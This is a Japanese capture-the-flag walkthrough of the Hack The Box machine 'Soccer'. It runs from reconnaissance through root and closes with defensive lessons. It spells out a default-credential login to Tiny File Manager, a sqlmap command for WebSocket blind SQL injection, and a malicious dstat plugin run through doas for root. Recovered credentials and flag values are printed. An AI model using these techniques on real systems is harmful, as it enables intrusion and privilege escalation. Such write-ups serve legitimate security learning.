Hack The BoxのWriteup(Soccer)[Easy]  

※本サイトはアフィリエイト広告を利用しています。
広告



HackTheBox: Soccer — TFM 2.4.3 → WebSocket Blind SQLi → doas dstat plugin → root

ポートスキャン

bash nmap
nmap -sV -sC -p 22,80,9091 10.129.22.189
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http nginx 1.18.0 (Ubuntu) |_ http-title: Did not follow redirect to http://soccer.htb/ 9091/tcp open xmltec-xmlmail?
📌 ポイント

HTTP (80) が soccer.htb へリダイレクト。9091 は未知サービスだが WebSocket と判明。/etc/hosts10.129.22.189 soccer.htb を追加する。

ディレクトリ列挙 — /tiny/ 発見

bash gobuster
gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
=============================================================== Gobuster v3.6 =============================================================== /index.html (Status: 200) [Size: 6917] /tiny (Status: 301) [Size: 178] [–> http://soccer.htb/tiny/]
✨ 発見

/tiny/ ディレクトリを発見。ブラウザでアクセスすると Tiny File Manager 2.4.3 のログイン画面が表示される。

WebSocket ポート 9091 の確認

bash nc / curl で確認
curl -s http://10.129.22.189:9091/ # または nc -nv 10.129.22.189 9091
HTTP/1.1 200 OK Content-Type: text/html … <title>soc-player.soccer.htb</title>
🔍 調査

9091 は Node.js WebSocket サーバ。サブドメイン soc-player.soccer.htb が確認できる。/etc/hosts に追記しブラウザでアクセスするとチケット確認フォームが表示される。

Phase 2

Tiny File Manager 2.4.3 — デフォルト認証情報 → nginx 設定読み取り

デフォルト認証情報でログイン

browser http://soccer.htb/tiny/tinyfilemanager.php
Username: admin Password: admin@123
📌 TFM 2.4.3 デフォルト

Tiny File Manager のデフォルト認証情報は admin:admin@123。変更されていない場合そのままログインできる。ログイン後はファイルシステム全体をブラウズ・ダウンロード・アップロード可能。

nginx 設定ファイルでサブドメインを確認

TFM ブラウザ /etc/nginx/sites-enabled/
# TFM で /etc/nginx/sites-enabled/ を参照 → soc-player.htb を開く
server { listen 9091; server_name soc-player.soccer.htb; root /root/app/views; location / { proxy_pass http://localhost:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection ‘upgrade’; } }
💡 サブドメイン特定

nginx の設定から soc-player.soccer.htb:9091 がチケット確認 WebSocket の実体と判明。このエンドポイントが次の SQLi の対象になる。

PHP webshell のアップロード試行

bash TFM アップロード → /tiny/uploads/
# TFM の /tiny/uploads/ ディレクトリに shell.php をアップロード # → アップロード自体は成功するが nginx が /tiny/uploads/ を serve しない (404) # → webshell 経路は使えない → WebSocket SQLi へ切り替え
⚠️ 落とし穴

ファイルのアップロードは成功 ({"status":"success"}) するが、http://soccer.htb/tiny/uploads/shell.php は nginx が 404 を返す。nginx の location ブロックが /tiny/uploads/ を serve しない設定になっているため webshell 経路は封じられている。

Phase 3

WebSocket Blind SQLi — sqlmap → soccer_db.accounts → player 認証情報

チケット確認エンドポイントの脆弱性確認

bash wscat / websocat でリクエスト確認
# /etc/hosts に追加 echo “10.129.22.189 soc-player.soccer.htb” >> /etc/hosts # ブラウザで http://soc-player.soccer.htb:9091/ を開くとチケット番号入力フォームが表示 # 送信すると WebSocket でサーバに {“id”: “12345”} を送信 # 存在するID → “Ticket Exists”, 存在しないID → “Ticket Doesn’t Exist”
# 正常なリクエスト → {“id”: “12345”} ← Ticket Exists # SQLi テスト → {“id”: “12345 OR 1=1– -“} ← Ticket Exists (SQLi 成功の兆候)
🎯 発見

id フィールドが SQL クエリに直接渡されており、Blind SQLi が成立。OR 1=1 を注入すると常に “Ticket Exists” が返る。

sqlmap による WebSocket Blind SQLi

bash sqlmap WebSocket mode
sqlmap -u “ws://soc-player.soccer.htb:9091” \ –data ‘{“id”: “*”}’ \ -D soccer_db -T accounts –dump \ –threads 10 –level 5 –risk 3 –batch
Database: soccer_db Table: accounts [1 entry] +——+——————-+———————-+———-+ | id | email | password | username | +——+——————-+———————-+———-+ | 1324 | player@player.htb | PlayerOftheMatch2022 | player | +——+——————-+———————-+———-+
💡 sqlmap WebSocket サポート

sqlmap は WebSocket エンドポイントを直接対象にできる。ws:// URL と --data で JSON ペイロードを指定し、* がインジェクションポイントを示す。Time-based Blind SQLi で数分かかる。

💎 取得認証情報

player : PlayerOftheMatch2022
Phase 4

SSH ログイン → user.txt 取得

SSH 接続確認

bash SSH
ssh player@10.129.22.189 # Password: PlayerOftheMatch2022
player@soccer:~$ id uid=1001(player) uid=1001(player) gid=1001(player) groups=1001(player) player@soccer:~$ ls user.txt

user.txt 取得

bash フラグ読み取り
cat /home/player/user.txt

🚩 user.txt

d5322eb390859e8e2dfb429fab51d6d1
Phase 5

doas + dstat Python plugin → root.txt

doas SUID と doas.conf の確認

bash SUID バイナリ探索 + doas.conf
find / -perm -4000 -type f 2>/dev/null # 結果: /usr/bin/doas (SUID) cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
🔑 意味

doas は OpenBSD 由来の sudo 互換ツール。permit nopass player as root cmd /usr/bin/dstat は「player ユーザーがパスワードなしで root として /usr/bin/dstat を実行できる」という意味。

dstat プラグインディレクトリの権限確認

bash プラグインディレクトリ確認
ls -la /usr/local/share/dstat/
total 8 drwxrwx— 2 root player 4096 Dec 12 2022 . drwxr-xr-x 6 root root 4096 Nov 17 2022 ..
💡 ポイント

ディレクトリの所有グループが playerrwx 権限あり。player は任意のファイルをこのディレクトリに書き込める。dstat は /usr/local/share/dstat/dstat_*.py を Python プラグインとして import する。

悪意のある dstat プラグインを作成

bash dstat_pwn.py の作成
echo “import os; os.system(‘cp /root/root.txt /tmp/.rf && chmod 644 /tmp/.rf’)” \ > /usr/local/share/dstat/dstat_pwn.py
⚙️ 仕組み

dstat はプラグインを import する際、モジュールレベルのコードを即座に実行する。dstat_plugin クラスが未定義でもモジュールのロード時に os.system() が走る — “fail to load” エラーが出ても攻撃コードは実行済み。

doas で dstat を root 権限実行

bash doas 実行 → /tmp/.rf 読み取り
doas /usr/bin/dstat –pwn 2>/dev/null; sleep 2 cat /tmp/.rf
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated import imp Module dstat_pwn failed to load. (name ‘dstat_plugin’ is not defined) None of the stats you selected are available. fac232af4a3012ce510125b626f3fc24
✅ 解説

“Module dstat_pwn failed to load” と出るが、os.system() はインポート時に実行済み。/tmp/.rf に root.txt がコピーされているため cat でフラグを読める。

🚩 root.txt

fac232af4a3012ce510125b626f3fc24
Summary

全体まとめと防御側の学び

攻撃チェーンの全体像

段階 使った脆弱性 取得したもの
1 gobuster / nmap でのサービス発見 /tiny/ (TFM 2.4.3) と soc-player.soccer.htb:9091 の特定
2 TFM デフォルト認証情報 admin:admin@123 nginx 設定ファイル参照 → サブドメイン確認
3 WebSocket Blind SQLi (id フィールド) player:PlayerOftheMatch2022
4 取得認証情報での SSH ログイン user.txt: d5322eb390859e8e2dfb429fab51d6d1
5 doas + dstat Python plugin injection root.txt: fac232af4a3012ce510125b626f3fc24

防御側の学び

  • デフォルト認証情報の変更: Tiny File Manager に限らず、デフォルトパスワードを使い続けることは最初の侵入口になる。インストール後即座に変更し、定期的にローテーションする。
  • SQLi 対策: ユーザー入力を SQL クエリに直接渡さない。プリペアドステートメント (parameterized queries) を使う。WebSocket 経由のリクエストも同様に検証が必要。
  • nginx の serve 範囲制限: ファイルアップロード先のディレクトリを nginx の公開スコープから外すことで webshell 経由の初期侵入は防げる(本機ではこれが機能していた)。
  • doas / sudo の最小権限: permit nopass ... cmd /usr/bin/dstat のような設定は、プラグインディレクトリへの書き込み権限と組み合わさると完全な権限昇格になる。コマンドのホワイトリスト制御に加えて、プラグインディレクトリの権限も厳格に管理する。
  • 機密情報のアクセス制御: nginx の設定ファイル (/etc/nginx/sites-enabled/) を TFM 経由で閲覧できる状況は情報漏えいにつながる。Web 公開ディレクトリはサービスに必要な最小限に制限する。

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。